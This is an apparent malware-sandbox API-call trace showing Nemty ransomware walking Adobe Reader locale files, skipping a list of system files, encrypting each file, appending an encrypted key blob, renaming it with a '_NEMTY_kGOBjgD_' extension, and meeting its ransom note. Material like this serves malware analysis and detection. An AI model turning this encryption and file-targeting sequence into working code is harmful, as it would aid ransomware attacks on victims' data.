[0174.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CZE", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CZE", lpUsedDefaultChar=0x0) returned 11 [0174.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.443] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CZE", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CZE", lpUsedDefaultChar=0x0) returned 11 [0174.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CZE", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CZE", lpUsedDefaultChar=0x0) returned 11 [0174.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.444] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.CZE", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.CZE", lpUsedDefaultChar=0x0) returned 11 [0174.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.444] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.444] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.444] Sleep (dwMilliseconds=0x5) [0174.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ba0f550, dwHighDateTime=0x1d561e8)) [0174.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ba0f550, dwHighDateTime=0x1d561e8)) [0174.452] GetLastError () returned 0x0 [0174.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.453] GetLastError () returned 0x0 [0174.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.453] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.453] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.453] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.453] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="UPHo8pE0evFrEXu7CjYcMzE6RtUtcs6YqMMyZTH90GiapGbdDA2bhvzjafKD4rCZ\r\nfqOgJ6dF0gMxZm99jarElVK3Q2Ha9ixBhERg8FyyEYCM/GR9a+LdianyrRAa3LUm\r\n0BE6PtVefuuhUBILFAyPJBNo8LmtJHWe4Pazw7CjT//ukFb14+655u4Qjhi6JViq\r\nl8nCwS8ASjkCn6n6+g8onVHLyswUGuD4pEuFLzw89w4wLDNuXcch1bkyIl630Yvi\r\ndnorGGwbDl5/QU0etQZK5BqFIMISHdr6uLed90QPaq1rMU9GfQySExIX//FKoYDY\r\nBJcnkAkESiZbUzXYFlJ7Xw==\r\n", pcchString=0x653e5dc) returned 1 [0174.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.453] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.453] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\updater.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\updater.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.453] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0174.453] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0174.454] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.454] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0174.456] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.456] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0174.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.456] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0174.456] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.456] CloseHandle (hObject=0x2e8) returned 1 [0174.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.456] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.456] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.456] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.456] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\updater.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\updater.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\updater.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\updater.cze._nemty_kgobjgd_")) returned 1 [0174.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.457] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.457] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="WebLink.CZE", cAlternateFileName="")) returned 1 [0174.457] lstrcmpiW (lpString1="WebLink.CZE", lpString2=".") returned 1 [0174.457] lstrcmpiW (lpString1="WebLink.CZE", lpString2="..") returned 1 [0174.457] lstrcmpiW (lpString1="WebLink.CZE", lpString2="...") returned 1 [0174.457] lstrcmpiW (lpString1="WebLink.CZE", lpString2="windows") returned -1 [0174.457] lstrcmpiW (lpString1="WebLink.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.457] lstrcmpiW (lpString1="WebLink.CZE", lpString2="rsa") returned 1 [0174.457] lstrcmpiW (lpString1="WebLink.CZE", lpString2="NTDETECT.COM") returned 1 [0174.457] lstrcmpiW (lpString1="WebLink.CZE", lpString2="ntldr") returned 1 [0174.457] lstrcmpiW (lpString1="WebLink.CZE", lpString2="MSDOS.SYS") returned 1 [0174.457] lstrcmpiW (lpString1="WebLink.CZE", lpString2="IO.SYS") returned 1 [0174.457] lstrcmpiW (lpString1="WebLink.CZE", lpString2="boot.ini") returned 1 [0174.458] lstrcmpiW (lpString1="WebLink.CZE", lpString2="boot.ini") returned 1 [0174.458] lstrcmpiW (lpString1="WebLink.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.458] lstrcmpiW (lpString1="WebLink.CZE", lpString2="ntuser.dat") returned 1 [0174.458] lstrcmpiW (lpString1="WebLink.CZE", lpString2="desktop.ini") returned 1 [0174.458] lstrcmpiW (lpString1="WebLink.CZE", lpString2="CONFIG.SYS") returned 1 [0174.458] lstrcmpiW (lpString1="WebLink.CZE", lpString2="RECYCLER") returned 1 [0174.458] lstrcmpiW (lpString1="WebLink.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.458] lstrcmpiW (lpString1="WebLink.CZE", lpString2="bootmgr") returned 1 [0174.458] lstrcmpiW (lpString1="WebLink.CZE", lpString2="programdata") returned 1 [0174.458] lstrcmpiW (lpString1="WebLink.CZE", lpString2="appdata") returned 1 [0174.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CZE", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.CZE", lpUsedDefaultChar=0x0) returned 11 [0174.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CZE", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.CZE", lpUsedDefaultChar=0x0) returned 11 [0174.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CZE", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.CZE", lpUsedDefaultChar=0x0) returned 11 [0174.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CZE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.458] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WebLink.CZE", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WebLink.CZE", lpUsedDefaultChar=0x0) returned 11 [0174.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.458] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.458] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.458] Sleep (dwMilliseconds=0x5) [0174.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ba356b0, dwHighDateTime=0x1d561e8)) [0174.468] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1ba356b0, dwHighDateTime=0x1d561e8)) [0174.468] GetLastError () returned 0x0 [0174.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.468] GetLastError () returned 0x0 [0174.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.468] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.468] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.469] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.469] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="NKb3nPrDbcHEmdkxQITuMyxRzEwZdu6stFIRFT7171H1lX7TBOmPptPzJ6VlQ8Bx\r\nJ7fyk5Yx/lHSY/NZGDM+q7oyX/NttDEzZwiAjf2Jvi+OfhqYN5k5Ec4oKWP0mbvS\r\nMenMBTjiq0RuHERxp+VoO6/JrJFcvYPb983H92uDoDtEkA7TahsmSQ3Quij/SpZn\r\nL8uezPEEXmXrxfybIyA9Y3a41RIMaUHhfkkE6QePCDUXAGsTugU30c447GnK6U3m\r\ntwXhaa6OG+0DJ8qzkASzJV/HXHCpF34YuhM5g1y1pHJ7dQBUOof/iqxRwKwvzl5L\r\ndh/+pCSS1cn8BZ9U7EgYvQ==\r\n", pcchString=0x653e5dc) returned 1 [0174.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.469] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\WebLink.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\weblink.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.469] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=27648) returned 1 [0174.469] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6c00) returned 0x6352c48 [0174.469] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.469] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6c00, lpOverlapped=0x0) returned 1 [0174.472] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.472] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6c00, lpOverlapped=0x0) returned 1 [0174.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.473] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=27648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c00 [0174.473] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.473] CloseHandle (hObject=0x2e8) returned 1 [0174.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.473] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.473] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.473] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.473] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\WebLink.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\weblink.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\WebLink.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\weblink.cze._nemty_kgobjgd_")) returned 1 [0174.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.474] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.474] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b500690, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1b500690, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1b500690, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0174.474] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0174.474] lstrcmpiW 